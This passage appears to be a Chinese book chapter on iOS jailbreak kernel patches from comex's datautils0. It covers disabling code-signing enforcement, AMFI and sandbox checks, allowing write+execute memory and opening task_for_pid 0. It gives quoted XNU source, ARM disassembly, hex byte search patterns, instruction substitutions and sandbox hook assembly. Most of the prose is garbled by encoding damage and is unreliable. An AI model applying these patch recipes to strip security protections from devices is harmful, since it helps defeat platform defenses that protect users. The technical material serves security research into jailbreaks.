ၸὋᄯଋ˝̼ᆉ੩ᛩʷ˶ʿܾ˝ʶ్Ժᛠ˧᥊ǌ�

datautils0˖ᄉЮನᛩʷၶ੆٧௦᤯᣾ಉ੼ݟʽߙᓫഴय੼ҁᤇʶ೜ಉᄉὙ 

df f8 88 33 1d ee 90 0f a2 6a 1b 68 00 2b 

ԥ඼ᎃᄉ्यࡂ௦Ὑ�

80045730    LDR.W    R3, =dword_802DE330 

80045734    MRC      p15, 0, R0,c13,c0, 4 

80045738    LDR      R2, [R4,#0x28] 

8004573A    LDR      R3, [R3] 

8004573C    CMP      R3, #0 

Ὃ߱ᄉϘܪ0x802DE330ڦڠᤇ᧖Ժ̾ᄹҁὋcs_enforcement_disableԪ᧙ͮ̅ڙࠑܷ

ᜁᜈЙR3࠘٧ߚ˖ὋཨՐˀ0ᤈᛠඊᣖǌ˝ᤇʶ᣾ር੩ᛩʷణኤӬᄉழयࡂ௦ઁϘ1ᜈЙR3࠘ߚ

٧ὋᏪ᭣̯0x802DE330ܪԨ߱ٿᄉϘǌᤇಧϡࡂᡛܴ˝vm_fault_enter()˖ࠪឞԪ᧙ᄉˏ൒

΍ၸ੩ʼᛩʷ˿Ὃځ˝ᎃដ٧ၶ੆ᄉ̼ᆉʿ͗᧗ளᜈᣑឞԪ᧙ὋᏪ௦ᄯଋ΍ၸ࠘٧ߚᎀߚᄉឞԪ

᧙ҝఴǌ�

3. cs_enforcement_disable˄AMFI˅ 
஠͇߸ஞবὈЮನܫኃ4ብ˖ᝦ᝶᣾ᄉAMFI὇Apple Mobile File IntegrityὋᔰ౦ሧҮ᝹ڙ͂ੇ

ഴ͗ڰ೜ಉᔩ࣯ԟஜ௦ՠڙߚὋФ˖˧ʶࡂ௦cs_enforcement_disableǌݟ౦᝹Ꮅ˿ឞԟஜὋ

ᥦ˥ᤇ˓Ԫ᧙ࠪ͗ࡂAMFI_vnode_check_exec()ን႔ူܪርࣿᄉࢹͺழय̖ၶॕֽǌൣ ࠑܷݟ

̯ʽ᭦ᤇൿን႔೜ಉᄉԥᎃដ̼ᆉ˖੝᜸Ὃ߱͗᫽ൢAMFIڙᤈርᄉ̼ᆉኣՏಕং˖᝹Ꮅ

CS_HARD֖CS_KILLಕংὙ 

int AMFI_vnode_check_exec(kauth_cred_t cred, struct vnode *vp, struct label *label,  

  struct label *execlabel, struct componentname *cnp, u_int *csflags) 

{ 

    if ( !cs_enforcement_disable ) 

    { 

        if ( !csflags ) 

            Assert( 

              "/SourceCache/AppleMobileFileIntegrity/AppleMobileFileIntegrity- 

79/AppleMobileFileIntegrity.cpp", 

              872, 

              "csflags"); 
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        *csflags |= CS_HARD|CS_KILL; 

    } 

    return 0; 

} 

̣˝ሄၸ˿̼ᆉኣՏǌʿ᣾Ὃᄫґᤆʿຌഁڠథ஌ࡂ౦ల᝹ᎵCS_HARD֖CS_KILLಕংὋݟ

˥ॆґᄉᡔ࿜ࢹХፋឞԪ᧙੩ᛩʷὋځ˝execve()֖posix_spawn()ጆፑុၸ˖ၸҁᄉ

mac_vnode_check_exec()ን႔೜ಉࣂፂᜁproc_enforceᛩʷሄၸ˿Ὃൣڙࠑܷݟʽ᭦ᤇൿ

̼ᆉ˖ᄹҁᄉὙ�

int mac_vnode_check_exec(vfs_context_t ctx, struct vnode *vp,  

    struct image_params *imgp) 

{ 

    kauth_cred_t cred; 

    int error; 

 

    if (!mac_vnode_enforce || !mac_proc_enforce) 

        return (0); 

 

    cred = vfs_context_ucred(ctx); 

    MAC_CHECK(vnode_check_exec, cred, vp, vp->v_label, 

          (imgp != NULL) ? imgp->ip_execlabelp : NULL, 

          (imgp != NULL) ? &imgp->ip_ndp->ni_cnd : NULL, 

          (imgp != NULL) ? &imgp->ip_csflags : NULL); 

    return (error); 

} 

಩ఴʿࡂХ੝ϡᄉᥦಧઁproc_enforceಕংᎵ˝0Ὃ̼ᆉࢹፂМधᄉᡔ࿜ࣂ౦Ϸܷܲஜݟ

͗੯ᛠAMFIን႔೜ಉǌᄰԥὋឞ೜ಉ͗ᤄٿ੆ҩǌځ൤ὋԵథڙలᝎԢproc_enforceಕংௐὋ

ᤇ˓ᛩʷ੥͗Ԧ૘ͺၸὋੇ͂੝˿ᝌᄉʶ̎᭣Мधᡔ࿜ࢹХࡂ௦ᤇሗৰхǌ�

4. PE_i_can_has_debugger 
iOSЮನ˖థʶ˓Տ˝PE_i_can_has_debugger()ᄉѥஜǌЮನ̾Ԣ᝴ܲЮನੰࡘᦏܲ൒

ѽၸ˿ឞѥஜὋ̾ᆷ߿௦ՠЉ᝴ុណǌΒݟὋݟ౦ឞѥஜʿᤄٿtrueὋੇ͂ࡂʿᑞ΍ၸKDPЮ
ನុណ٧ǌځ˝XNUຸ̼ᆉ˖ࣲ෤థଡΘឞѥஜὋ੝̾ឯܷࠑԟᏥݟʽԥᎃដ஠͇Ὑ 

int PE_i_can_has_debugger(int *pFlag) 

{ 

  int v1; // r1@3 

 

  if ( pFlag ) 

  { 

    if ( debug_enable ) 

       v1 = debug_boot_arg; 

    else 

       v1 = 0; 

     *pFlag = v1; 

  } 

  return debug_enable; 

} 
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iOS 4.3̾ґᄉᡔ࿜ࢹХ͗ፋឞѥஜ੩ᛩʷὋ΍߱঳ᑞᤄٿtrueǌݟ౦ʿၸҁKDPЮನុណ

٧Ὃᤇͪ˪௦᭤៧ᄉǌ᝹Ꮅdebugल࠭ԟஜ͗ڙ౼̎iOSЮನੰࡘ˖लԦЮನː᧗ᩱឧὋځ˝Ե

ᤄٿtrueࣲʿᑞ߸Кഴ͋ԓݼѥஜǌᤇࡂ௦ॆʽᄉᡔ࿜ࢹХʿв˝ឞѥஜᄉ̼ᆉ੩ᛩʷὋᣀᏪ

˝Юߚ˖ᄉdebug_enableԪ᧙੩ᛩʷᄉԓځǌ᜵ᆷ߿ឞԪ᧙ᄉڦڠὋੇ͂ࡂᭉ᜵ѫౡ

PE_i_can_has_debugger()ѥஜᄉ̼ᆉǌځ˝ឞԪ᧙௦ڙలѹݼӐᄉЮನஜ૵ൿ˖Ὃ੝̾ឞᛩ

ʷԵᑞڙᤁᛠௐ੯ᛠǌਆ੼Ѣڙल࠭యᫍѹݼӐឞԪ᧙ᄉ̼ᆉὋੇ͂ःឞಉ੼ߙቿ˘

debug-enabledǌᤇಧὋ;͗ࡂᝧᄯଋ੼ҁ࠱ឞϘ҃ܬҁឞԪ᧙˖ᄉ̼ᆉǌ�

5. vm_map_enter 
ቆᫍ˖ௐὋੇڦڠҁᤈርᄉ࠰௡ߚЮઁڙ ͂᜵ុၸЮನѥஜvm_map_enter()Ὃڙᘾ઱ڦڠ

௡࠰˖ѫᦠʶ˓ᔴډǌܷࠑԺ̾ѽၸmmap()ጆፑុၸᝎԦឞѥஜǌڙឬҁᡔ࿜ௐὋឞѥஜॡథ

਒ধὋࠃ߱˝ځஶ˿௡࠰ᄉЮߚʿᑞՎௐԺз˄Ժ੯ᛠᄉ᜺ѶὋᏪʽ᭦ᄉ̼ᆉࡂ௦ࠃஶឞ᜺Ѷᄉǌ

᝹Ꮅݟᆉ੝ᇧὋϛ̼ݟԺ̾ԟᏥ/osfmk/vm/vm_map.c஠͇Ὃ̾ಉᄹឞѥஜᄉ߸ஞຸ̼ᆉǌൣࠑܷ

˿VM_PROT_WRITEಕংὋੇ͂ࡂ᜵ઁVM_PROT_EXECUTEಕংຌᬓὙ 

kern_return_t vm_map_enter( 

    vm_map_t           map, 

    vm_map_offset_t    *address,   /* IN/OUT */ 

    vm_map_size_t      size, 

    vm_map_offset_t    mask, 

    int                flags, 

    vm_object_t        object, 

    vm_object_offset_t offset, 

    boolean_t          needs_copy, 

    vm_prot_t          cur_protection, 

    vm_prot_t          max_protection, 

    vm_inherit_t       inheritance) 

{ 

    ... 

    if (cur_protection & VM_PROT_WRITE){ 

        if ((cur_protection & VM_PROT_EXECUTE) && !(flags & VM_FLAGS_MAP_JIT)){ 

            printf("EMBEDDED: %s curprot cannot be write+execute.turning off 

execute\n", __PRETTY_FUNCTION__); 

            cur_protection &= ~VM_PROT_EXECUTE; 

        } 

} 

ᄉΒܰৰхǌᤇ௦ʶዜ࠰ௐὈ௡ࠃʶ˓ԶͺJIT὇ڙߚኃ4ብ˖ᄹҁᄉὋᤇ్᜺Ѷڙࠑܷݟൣ

ྱ൳ᄉЮߚӜ۪Ὃ߱Ժ̾ՎௐԺз֖Ժ੯ᛠὋځ˝MobileSafari˖ᄉԀௐJavaScriptᎃដ٧᜵ය߱

ᤇಧǌԵథڙःၸХథҮখ̼ᆉኣՏྱాௐὋੇ͂੥థԺᑞѽၸʶ൒ឞΒܰৰхǌ�

᣼̬˝ൢὋԵథMobileSafari੥३൤þᇷҩÿǌФ̴ःၸᦏʿդᒬνஇ̼ᆉ὇self-modifying 
codeὈǋҮখ̼ᆉၶ੆٧੊Ԁௐᎃដ٧Ὃኃ4ብᝦ᝶᣾ᄉၿCharlie MillerԦဗᄉҮখ̼ᆉኣՏ໣ว

ᬓܰǌࠪ ̅߸ஞᄉᡔ࿜ࢹХᏪᝒὋᤇ௦˓ᝧ̠ᝦԍᄉᬌ҃Ὃځ˝߱ʿЉ᝴ڙᤁᛠௐ˝ःၸ੩ᛩʷὋ

Ꮺ࣡ၸҁᄉMobileSubstrateМРंԠᭉ᜵ᤇಧǌ൤ܰὋᡔ࿜᣾ᄉiPhoneʼԺ̾΍ၸᄉॡܲഴ઱٧

˶᜵ၸҁᒬνஇ̼ᆉǌ 
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ਆ᜵੼ҁ˝ឞ೜ಉ੩ᛩʷᄉణ·ழयὋܷࠑःឞᄹᄹiOSЮನᄉ̃ᤈ҃஠͇ǌᙉཨ෤థࠪः

vm_map_enter()ѥஜᄉቿՁὋͭ ௦᤯᣾ಉ੼դథvm_map_enterᄉߙቿ˘ᤆ௦ॡࠓ௛੼ҁឞѥ

ஜᄉǌڙᄹҁឞ೜ಉᄉARM඼ᎃርࣿՐὋ;͗ࡂԦဗథܲ˓ʿՎᄉʶߙᓫᛩʷԺ̾þ࣯૿ÿឞ

೜ಉǌඊழឬὋੇ͂Ժ̾ઁAND.W R0, R1, #6νஇ੆AND.W R0, R1, #8Ὃ੊௦ઁBIC.W R0, 

R0, #4νஇ੆BIC.W R0, R0, #0Ὑ 

800497C6    LDR         R1, [R7,#cur_protection] 

800497C8    AND.W       R0, R4, #0x80000 

800497CC    STR         R0, [SP,#0xB8+var_54] 

800497CE    STR         R1, [SP,#0xB8+var_78] 

800497D0    AND.W       R0, R1, #6 

800497D4    CMP         R0, #6 

800497D6    ITT EQ 

800497D8    LDREQ       R0, [SP,#0xB8+var_54] 

800497DA    CMPEQ       R0, #0 

800497DC    BNE         loc_800497F0 

800497DE    LDR.W       R1, =aKern_return_ 

800497E2    MOVS        R0, #0 

800497E4    BL          sub_8001D608 

800497E8    LDR         R0, [R7,#cur_protection] 

800497EA    BIC.W       R0, R0, #4 

800497EE    STR         R0, [SP,#0xB8+var_78] 

ࠪ̅ᥦ̎˝˿ᤈᛠ߶Кᆐቂ੊᝺᫇shell੥ፋiPhoneᡔ࿜ᄉ̠౎ឬὋᤇ˓ᛩʷ෤ॸ᜵੩ǌ቉ᆠ

ᤇʶᬌ҃ࠃᬄʼ͗᤟३ФԥὋځ˝ᤇಧʶ౎ᡔ࿜᣾ᄉiPhoneᄉᛠ˝ࡂʿᥦ˥Ϸ᳭ᝢᄉiPhone˿ǌ�

6. vm_map_protect 
ॆࠪ௡࠰ЮߚᄉγએԦၶஇԪௐὋੇ ᜵ុၸЮನѥஜvm_map_protect()ǌܷࡂ͂ Ժ̾ѽࠑ

ၸmprotect()ጆፑុၸᝎԦࠪឞѥஜᄉុၸǌˀvm_map_enter()ѥஜዜͪὋឞѥஜ˶ʿЉ᝴

ઁЮߚγએஇ˝ՎௐԺз˄Ժ੯ᛠǌ̔ ᭦ፋѢᄉᤇൿ̼ᆉࠃஶ˿ឞ᜺Ѷǌݟ౦ਆఝ˝សጹڠ˿ᝌ

ឞѥஜὋܷࠑ˶Ժ̾ڙ/osfmk/vm/vm_map.c஠͇˖੼ҁ߱ᄉ߸ஞ̼ᆉǌൣ̼ݟᆉ੝ᇧὋݟ౦᝹Ꮅ

˿VM_PROT_WRITEಕংὋᤆ௦᜵ຌᬓVM_PROT_EXECUTEಕংὙ 
kern_return_t vm_map_protect( 

    register vm_map_t   map, 

    register vm_map_offset_t    start, 

    register vm_map_offset_t    end, 

    register vm_prot_t   new_prot, 

    register boolean_t   set_max) 

{ 

    . . . 

#if CONFIG_EMBEDDED 

        if (new_prot & VM_PROT_WRITE) { 

            if ((new_prot & VM_PROT_EXECUTE) && !(current->used_for_jit)) { 

                printf(„EMBEDDED: %s can't have both write and exec at the 

same time\n", _FUNCTION__); 

                new_prot &= ~VM_PROT_EXECUTE; 

            } 

        } 

#endif 
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ᤇ᧖ᤆ௦Ժ̾ᄹҁὋԵథᥦ̎ၸ̅ԀௐᎃដᄉЮߚᔴډΒܰὋᏪԵథᥦ̎ХథҮখ̼ᆉኣՏ

ྱాᄉःၸ੥ᑞѸतᤇಧᄉЮߚᔴډǌФ̴ःၸᦏʿᑞ΍ၸmprotect()ᝧЮߚӜ۪௄ԺзՎௐ

ԠԺ੯ᛠǌځ൤Ὃಕэᄉᡔ࿜ࢹХ͗˝ឞ೜ಉ੩ᛩʷὋ̯ᏪЉ᝴ःၸᝧ˧ґѫᦠᄉЮߚԪ३௄Ժ

зԠԺ੯ᛠǌ�

᜵ፋឞѥஜ੩ᛩʷὋᯪЎᭉ᜵੼ҁ߱ǌᙉཨ෤థૈՓ߱ᄉЮನቿՁὋͭឞѥஜ˖ߙࠪڙߚቿ

˘vm_map_protectᄉलၸὋᤇࡂᝧࠬ੼ឞѥஜᄉࢹͺԪ३ኤӬ˿ǌв౎ᄹᄹ߱ᄉARMԥ඼ᎃ

஠͇ὋథˏሗʶߙᓫᛩʷԺၸ̅ሧᬓᤇ᧖ᄉ߶К೜ಉǌੇ͂Ժ̾ઁAND.W R1, R6, #6νஇ੆

AND.W R1, R6, #8Ὃ੊ᏧઁBIC.W R6, R6, #4νஇ੆BIC.W R6, R6, #0Ὑ 

8004A950    AND.W       R1, R6, #6 

8004A954    CMP         R1, #6 

8004A956    IT EQ 

8004A958    TSTEQ.W     R0, #0x40000000 

8004A95C    BNE         loc_8004A96A 

8004A95E    BIC.W       R6, R6, #4 

ਆ᜵ᤁᛠᥦ̎ᭉ᜵ࣁγએǌੇ͂तᝫὋԵథॆᒬߚᄉЮܫᤇʶᛩʷὋᡔ࿜ҏि˿iOS᝹˝ځ

ᒬνஇ̼ᆉᄉःၸௐὋ੥ڙᡔ࿜ௐःၸឞᛩʷǌᤇ̎ᛩʷᄉ᫇ᮤ̅ڙ๖ᬓ˿ࠪ᭣Ժ੯ᛠЮߚᄉᬌ

҃Ὃᤇಧʶ౎᧪ࠪiPhoneᄉᤉርஈѣࡂʿʶ߿ᭉ᜵߸К᭤ROPࠃဗὋᏪ௦Եᭉ᜵ʶ࠴ൿ΍ၸ˿

mprotect()ᄉROPߚ಩ὋࡂᑞᝧซЙᄉ̼ᆉԪ३Ժ̾੯ᛠǌ�

7. AMFIফֵӏѠ䖯ࠊ᭛ӊ㓧ᄬ 
AMFIЮನഴڰ᠆᠉ᰍ᝼̼ᆉኣՏBLOBʼᄉஜߙኣՏǌ߱ ซб˿ᔩ࣯˓MACን႔ူܪርࣿὋ

ඊݟvnode_check_signatureᨈߔርࣿὋඇॆథளᄉ̼ᆉኣՏBLOBᜁຊҪҁЮನௐὋᦏ᜵ុ

ၸឞᨈߔርࣿǌAMFIူܪርࣿ͗᧪ࠪ౎ᒬᔰ౦МՂᄉ᝼˹ᰍ᝼ኣՏǌʿ᣾Ὃݟ౦᝹Ꮅ˿

amfi_get_out_of_my_way੊amfi_allow_any_signatureल࠭ԟஜὋ;ࡂԺ̾ፈ᣾ᤇʶᰍ

᝼ὋᏪᤇԵథ۲̅ڙbootrom੊iBootᄉᡔ࿜ࢹХ˖੥ᑞࠃဗǌͭ௦Ὃݟ౦ᑞڙՏ˝AMFIԩζ͉̃

ᤈ҃஠͇ᄉЮᎵѴᛪ὇դథ᥀2200్ࣂᅻᄉ஘ѴὈ̟ ੼ҁ̼ᆉኣՏBLOBᄉSHA1஘ѴὋ˶ ௦Ժ̾

᡹᣾ᤇሗᰍ᝼ᄉǌಉ੼ԩζ͉ᎀߚᄉࢹͺ௦ڙ౼˓ѥஜ˖ࠃဗᄉὋcomex˝߱੩ʼ˿ᛩʷὋᝧ߱

঳௦ᤄٿ੆ҩǌᤇᝧAMFIᄰζඇ˓ኣՏᦏڙឞᎀߚ˖Ὃ̯Ꮺᝢ߿ᤇ̎ኣՏᦏ௦ԩζ͉ᄉὋᤇಧ

 ኣՏǌߙሄၸ̼ᆉኣՏBLOBʼᄉஜڠᑞథ஌ࡂ
᤯᣾ڙAMFI MACን႔ᛪ˖ಉ੼AMFI vnode_check_signature MACን႔ူܪርࣿὋࣲ

ឞርࣿ˖ಉ੼ኃʶ൒ѥஜុၸὋੇڙ ڙǌԲʶሗࠬ੼ឞѥஜᄉழय௦ڦڠԺ̾੼ҁឞѥஜᄉࡂ͂

Юನ̃ᤈ҃஠͇˖ಉ੼ݟʽߙᓫഴयὙ 

f0 b5 03 af 2d e9 00 05 04 46 .. .. 14 f8 01 0b 4f f0 13 0c 

ཨՐࡂ᜵ၸԵᤄٿtrueᄉѥஜ᜷ᄥᤇൿ̼ᆉὋᤇ͗ڙፈ᣾ஜߙኣՏௐีʼၸڣǌᤈʶ൥ᆐ

ቂឞЮನᛩʷὋ;͗ࡂԦဗᤇ௦߸Кʿॸ᜵ᄉǌॆੇ͂ಉᄹڙ /security/mac_vfs.c˖߿˦ᄉ

mac_vnode_check_signature̼ᆉௐὋ͗Ԧဗ˧ґᄉproc_enforceᛩʷࣂፂ࠱ᤇ˓AMFIܪ
ူርࣿख़ऄሄၸ˿Ὑ�

int mac_vnode_check_signature(struct vnode *vp, unsigned char *sha1, void *signature, 
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size_t size) 

{ 

    int error; 

 

    if (!mac_vnode_enforce || !mac_proc_enforce) 

        return (0); 

 

    MAC_CHECK(vnode_check_signature, vp, vp->v_label, sha1, signature, size); 

    return (error); 

} 

ʿ͗ᜁុࡂ౦ሄၸ˿mac_proc_enforceಕংὋAMFIᄉvnode_check_signature೜ಉݟ

ၸǌࠪ ̅ѽၸ˿AMFIԩζ͉̃ᤈ҃஠͇ᎀߚᄉФ̴MACን႔ူܪርࣿᏪᝒὋᤇʶཁ˶௦੆በᄉǌ�

8. task_for_pid 0 
ᙉཨឞᛩʷܷࠪ̅ܲஜፋ᝹ܫᡔ࿜ᄉ̠౎ឬʿॸ᜵Ὃͭ ᤆ௦᜵ᝮᝮ߱Ὃځ˝߱๗Ԣmachᬝ᫷Ὃ

ੇ͂Ժ̾ᮊΦ̭ፀʶሗڙiOSЮನ̃ᤈ҃஠͇˖ࠬ੼machᬝ᫷ᛪ὇mach_trap_tableὈᄉን႔ǌ 
task_for_pid()ѥஜ௦˓machᬝ᫷Ὃ߱ ͗ᤄٿԲʶᤈር̾ФᤈርID֐Տᄉ͉ҫቪԯǌʿ ᣾

ᤇ̨ᬌ̅ᥦ̎ၸਖ਼IDᄰՎᄉᤈርὋᬓ᭣ឯය͉ҫቪԯᄉᤈር௦ྱాᤈርǌڙ௉యᄉMac OS Xྟ

ఴ˖Ὃੇ͂Ժ̾᤯᣾ឯය0Ձᤈርᄉ͉ҫቪԯ३ҁЮನᤈርᄉ͉ҫቪԯǌMAC OS Xᄉrootkitርࣿ

 ǌߚᝧၸਖ਼ቆᫍᄉᤈርԺ̾ឳз͉਒ЮನЮ߱˝ځѽၸ˿ឞ੾శὋࡂ
ᤇԺᑞ௦task_for_pid()ᜁνஇ੆ʿвᑞ᝺᫇0Ձᤈርᄉ͉ҫቪԯᄉԓځὋൣڙࠑܷݟʽ

᭦ᤇൿ̯XNUຸ̼ᆉᄉ/bsd/vm/vm_unix.c஠͇˖୑ेᄉ̼ᆉ˖Ժ̾ᄹҁᄉὙ 

kern_return_t task_for_pid(struct task_for_pid_args *args) 

{ 

    mach_port_name_t   target_tport = args->target_tport; 

    int          pid = args->pid; 

    user_addr_t    task_addr = args->t; 

    proc_t         p = PROC_NULL; 

    task_t         t1 = TASK_NULL; 

    mach_port_name_t   tret = MACH_PORT_NULL; 

    ipc_port_t     tfpport; 

    void * sright; 

    int error = 0; 

 

    AUDIT_MACH_SYSCALL_ENTER(AUE_TASKFORPID); 

    AUDIT_ARG(pid, pid); 

    AUDIT_ARG(mach_port1, target_tport); 

 
    /* ጺ๟ᄲॠֱ๟ޏᆶ pid == 0 */ 

    if (pid == 0) { 

        (void ) copyout((char *)&t1, task_addr, sizeof(mach_port_name_t)); 

        AUDIT_MACH_SYSCALL_EXIT(KERN_FAILURE); 

        return(KERN_FAILURE); 

    } 

ᩱឧٿᤄ͗ࡂ౦ᤈርID௦0ὋݟᤈርID௦ՠ˝0ᄉ௬य೜ಉ˿Ὃࠪڙߚڙ੝᜸Ὃဗࠑܷݟൣ

̼ᆉǌcomex˝ឞ೜ಉ੩˿ᛩʷὋઁifឥԱၶ੆ᄉ్͇᡹ᣀԪ੆˿௃్͇᡹ᣀǌԺ̾᤯᣾ಉ੼ݟ
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ʽߙᓫ˘ഴय੼ҁ᜵੩ᛩʷᄉڦڠὙ�

91 e8 01 04 d1 f8 08 80 00 21 02 91 ba f1 00 0f 01 91 

Բʶሗࠬ੼੩ᛩʷͮᎵᄉழय௦ڙmachᬝ᫷ᛪ˖ಉ੼task_for_pid()ѥஜᄉڦڠǌʿ᣾Ὃ

൤ੇ͂ᭉ᜵̶ܲѢځᄉmach_trap_tableቿՁࣲల࠭ѢὋ˦߿˖osfmk/kern/syscall_sw.c஠͇/ڙ

̎ҰҦ੥ᑞ੼ҁឞᛪǌឞᛪᄉݟ˦߿ʽ੝ᇧὙ�

mach_trap_t mach_trap_table[MACH_TRAP_TABLE_COUNT] = { 

/* 0 */     MACH_TRAP(kern_invalid, 0, NULL, NULL), 

/* 1 */     MACH_TRAP(kern_invalid, 0, NULL, NULL), 

/* 2 */     MACH_TRAP(kern_invalid, 0, NULL, NULL), 

. . . 

/* 26 */    MACH_TRAP(mach_reply_port, 0, NULL, NULL), 

/* 27 */    MACH_TRAP(thread_self_trap, 0, NULL, NULL), 

/* 28 */    MACH_TRAP(task_self_trap, 0, NULL, NULL), 

. . . 

/* 45 */    MACH_TRAP(task_for_pid, 3, munge_www, munge_ddd), 

ᤇ᧖Ժ̾ᄹҁὋឞᛪधܿѴѢᄉ௦ʶ̎௃஌Юನᬝ᫷ǌܷڙ ڙԺ̾ѽၸᤇʶৰх೜฽ឞᛪࠑ

Юߚ˖ᄉڦڠǌڙМधᄉXNUຸ̼ᆉ˖Ὃឞᛪ߿˦ᄉґ26˓machᬝ᫷ᦏ௦௃஌ᄉǌͭ௦Ὃݟ౦

�ԦဗԵథґ10˓machᬝ᫷௦௃஌ᄉǌ͗ࡂᄹҁiOSЮನᄉຸ̼ᆉὋࠑܷ

ʿࢻᄉ௦Ὃkern_invalid()ѥஜ˶௦ల࠭ѢᄉὋځ൤ॸᮋЎ੼ҁ߱ǌͭᤇʿ௦᫇ᮤὋځ˝

ʽ᭦ᄉ̼ᆉᛪ௙Ὃ߱लၸ˿ʶ˓ॡథପᇧͺၸᄉߙቿ˘Ὑ 

kern_return_t kern_invalid(__unused struct kern_invalid_args *args) 

{ 

       if (kern_invalid_debug) Debugger("kern_invalid mach trap"); 

       return(KERN_INVALID_ARGUMENT); 

} 

౎ᒬࡂʶʶ൒̓ԡलၸ׬ቿ˘ᄉߙᤇൿ̼ᆉ˖ၸҁʶ൒Ὃ੝̾ࠪឞڙቿ˘Եߙ੝लၸᄉ˝ځ

kern_invalid()ѥஜǌథ˿ឞڦڠᄉࣞүὋԵ᜵ಉ੼ߙٽᓫ0ᡱʼߙٽᓫѥஜڦڠᄉ᧗ܬഴयὋ

᭣ᄽ௦੼ҁឞࣲڦڠґᄉiOSЮನ˖Ὃkern_invalid()ᄉॆڙᑞ੼ҁmachᬝ᫷ᛪ˿ǌʿ᣾Ὃࡂ

ᛪᄉॸ᜵్͇Ὃߙٽ˝ځᓫ0ᄉ᧗ܬഴयвᡱʼᄰՎૈ᧪ࡂᡛ̾੼ҁឞᛪ˿ǌ�

9. ≭Ⲧ㸹ϕ 
comexᄉЮನᛩʷᬶ˖ణՐʶ˓Юನᛩʷ͗இԪ෡ᄣᄉᛠ˝ǌݟ౦෤థᤇ˓ᛩʷὋڙᡔ࿜᣾ᄉ

iPhoneʼࡂ෤ก΍ၸMobileSafari֖MobileMailᤇಧᄉःၸǌѢဗᤇʶৰхᄉԓ̅ڙځὋᡔ࿜ࢹХ͗ઁ

/ApplicationsᄫेሧҮҁ/var/stash/Applicationsᄫे˖Ὃᤇಧࡂᤊԥ˿෡ᄣ఺҃ǌ݈যᄉ௦Ὃᄫґੇ͂

˶ԵԦဗᤇˏ˓ःၸ͗ԩॕֽǌԀ΍ʿፋ෡ᄣ੩ᛩʷὋФ̴੝థЮᎵःၸᄹᡐ౎˶ᦏᑞൣ࣡ࢹͺǌ 
ឞᛩʷఴᢵၿˏᦉѫጷ੆Ὃኃʶᦉѫ͗ၸʶ˓ᨈߔ᧗зsb_evaluate()ѥஜᄉधܿᦉѫὋ

Ꮺኃ̃ᦉѫѶ௦ʶൿзЙЮನ˖ల΍ၸӜ۪ᄉள̼ᆉǌ᜵˿ᝌఝܲˀឞѥஜథСᄉζোὋឯٿᮎ

ኃ5ብǌឞᛩʷ͗இԪ෡ᄣ᝿ͤᄉᛠ˝Ὃ̯Ꮺ̾ʿՎழय߿ྱࠪူܪᄫेᄉ᝺᫇ǌ 
Юನ̼ᆉ˖ᄉͮڙsb_evaluate()ѥஜ߿ଠᤗளᄉ᝿ͤҩᑞ˧ґὋᯪЎੇ͂᜵ਆҨกᆷڙ

Ꮅǌʁ ሗԺᑞᄉழก௦ڙSandboxЮನੰࡘ˖ಉ੼MACን႔ူܪርࣿᛪǌథʿ࠵MACን႔ူܪር
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ࣿᦏၸҁ˿sb_evaluate()ѥஜǌࠪ̅ॆґᄉiOSЮನᏪᝒὋಉ੼ߙቿ˘bad opcode͗ఝኤӬǌ

ᤇ˓ߙቿ˘ԵࠑܷڙਕТᡙᄉѥஜ˖΍ၸ᣾ὋᏪ˄ʶெܷࠑ੼ҁ߱ᄉஜ૵लၸὋ੼Ѣၸҁ߱ᄉѥ

ஜᄉधܿࡂᛠ˿ǌ 
Ὃᝧ߱᡹ᣀҁలߔឞѥஜ˖உЙᨈڙԺ̾ࡂՐὋੇ͂ڦڠsb_evaluate()ѥஜᄉ˿߿ᆷڙ

΍ၸᄉЮನӜ۪˿ὋᏪឞӜ۪ࡂ௦ၸ౎ࠓጩឞᛩʷኃ̃ᦉѫᄉ̼ᆉᄉǌੇ͂ڙኃ9ብ˖ࣂፂ̭ፀ

᣾ݟʹࠬ੼ᤇಧᄉల΍ၸӜ۪ǌܷࠑԺ̾ڙcomexᄉdatautils0 Githubᠪ஧ं˖੼ҁឞᨈߔ

ᄉຸ̼ᆉὋʿ ᣾ੇ͂ڙᤇ᧖᜵ʶᦉѫʶᦉѫڠଉᝦᤇൿ̼ᆉǌᏪ߱ᄉஞͳধᡸ௦̯෡ᄣ೜ಉ˖ଅ

ᬓ/private/var/mobileᄫेܰ̾Ԣ/private/var/mobile/Library/PreferencesᄫेЮᄉ஠͇ǌᤇൿ̼ᆉᯪ

Ў͗೜ಉଡΘᄉvnode௦ՠ˝0ǌݟ౦௦Ὃᨈ͗ࡂߔ঒႔ᤇ൒ុၸὋᄯଋઁ੯ᛠా͛ᤫፋԓݼᄉ

 ርࣿǌူܪ

start: 

    push {r0-r4, lr} 

    sub sp, #0x44 

    ldr r4, [r3, #0x14] 

    cmp r4, #0 

    beq actually_eval 

ଋʽ౎ᄉᤇᦉѫ̼ᆉ͗ុၸvn_getpath()ѥஜὋԨࠪٿः੝ଡΘvnodeᄉᡸफ़ǌݟ౦ឞѥ

ஜᤄٿᩱឧὋᬓ˿ENOSPCᩱឧ͗ᜁ঒႔Ὃ੝థФ̴ᩱឧᦏ͗࠭ᒰ੯ᛠాᜁ͛ᤫፋԓူܪݼርࣿὙ�

    ldr r3, vn_getpath 

    mov r1, sp 

    movs r0, #0x40 

    add r2, sp, #0x40 

    str r0, [r2] 

    mov r0, r4 

    blx r3 

    cmp r0, #28 

    beq enospc 

    cmp r0, #0 

    bne actually_eval 

ᩱឧὋ੊௦෤థᡛܴᄉቆᫍԨ३߸ஞᄉᡸफ़ՏὋੇٿ౦෤థᤄݟ ߙᄉᡸफ़Տˀٿ᜵ઁᤄࡂ͂

ቿ˘/private/var/mobileҪ̾ඊᣖǌݟ౦ᡸफ़ՏʿӛᦠὋࡂЉ᝴᝺᫇Ὑ�

enospc: 
    # that error's okay... 
    mov r0, sp 

    adr r1, var_mobile ; # "/private/var/mobile" 

    movs r2, #19 ;# len(var_mobile) 

    ldr r3, memcmp 

    blx r3 

    cmp r0, #0 

    bne allow 

᜵ˀ/private/var/mobile/Library/Preferences/com.appleҪࡂ౦ᡸफ़ՏӛᦠὋݟ

̾ඊᣖǌݟ౦ᤆӛᦠὋࡂ᜵ុၸԓݼᄉsb_evaluate()ѥஜ:�

    mov r0, sp 
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2 
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    adr r1, pref_com_apple 

    ; # "/private/var/mobile/Library/Preferences/com.apple" 

    movs r2, #49 ;# len(preferences_com_apple) 

    ldr r3, memcmp 

    blx r3 

    cmp r0, #0 

    beq actually_eval 

